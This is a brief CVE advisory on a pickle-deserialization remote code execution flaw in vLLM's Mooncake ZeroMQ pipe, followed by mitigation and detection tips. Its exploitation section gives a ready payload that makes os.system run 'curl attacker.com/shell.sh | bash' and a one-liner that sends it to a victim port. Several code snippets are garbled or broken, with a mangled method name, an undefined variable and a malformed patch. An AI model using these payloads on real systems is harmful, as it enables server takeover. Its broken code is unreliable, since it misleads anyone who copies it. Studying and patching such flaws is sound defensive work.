vLLM, Remote Code Execution, CVE-2025-XXXX (Critical)

How the CVE Works:

The vulnerability in vLLM’s Mooncake integration arises from insecure deserialization via ZeroMQ sockets. The `recv_pyobj()` method in `mooncake_pipe.py` implicitly uses `pickle.loads()` to deserialize data received over unauthenticated ZeroMQ channels. Since these sockets listen on all network interfaces, an attacker can send a malicious pickle payload, leading to arbitrary code execution on the server. This flaw mirrors GHSA-x3m8-f7g5-qhm7, where unsafe deserialization enables RCE. The lack of encryption or authentication exacerbates the risk, allowing remote exploitation without prior access.

DailyCVE Form:

Platform: vLLM
Version: Pre-32b14baf8a1f
Vulnerability: Insecure Deserialization
Severity: Critical
Date: 2025-04-29

What Undercode Say:

Exploitation:

1. Craft a malicious pickle payload:

import pickle, os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ("curl attacker.com/shell.sh | bash",))
payload = pickle.dumps(Exploit())

2. Send payload via ZeroMQ:

python -c "import zmq; ctx=zmq.Context(); s=ctx.socket(zmq.PUSH); s.connect('tcp://victim:5555'); s.send_pyobj(payload)"

Mitigation:

1. Patch `mooncake_pipe.py` to disable pickle:

def recv_pyobj():
return json.loads(self.recv()) Replace pickle with JSON

2. Restrict ZeroMQ to localhost:

self.socket.bind("tcp://127.0.0.1:5555")

3. Validate sender IPs:

if peer_ip not in ALLOWED_IPS:
raise SecurityError("Unauthorized connection")

Detection:

Monitor suspicious ZeroMQ connections:
```
netstat -tulnp | grep 5555
```
Audit logs for large pickle payloads:
```
grep -r "pickle.loads" /var/log/vllm
```